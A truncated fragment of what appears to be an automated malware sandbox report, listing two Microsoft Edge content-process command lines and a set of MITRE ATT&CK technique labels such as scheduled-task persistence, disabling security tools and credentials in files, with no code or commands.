C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
1⤵
PID:8924

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
1⤵
PID:2224

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Scheduled Task

Persistence

Modify Existing Service

T1031

Scheduled Task

Privilege Escalation

Scheduled Task

Defense Evasion

Disabling Security Tools

T1089

Modify Registry

T1112

Virtualization/Sandbox Evasion

T1497

Web Service

T1102

Credential Access

Credentials in Files

T1081

Discovery

Peripheral Device Discovery

T1120

Query Registry

Remote System Discovery

T1018

System Information Discovery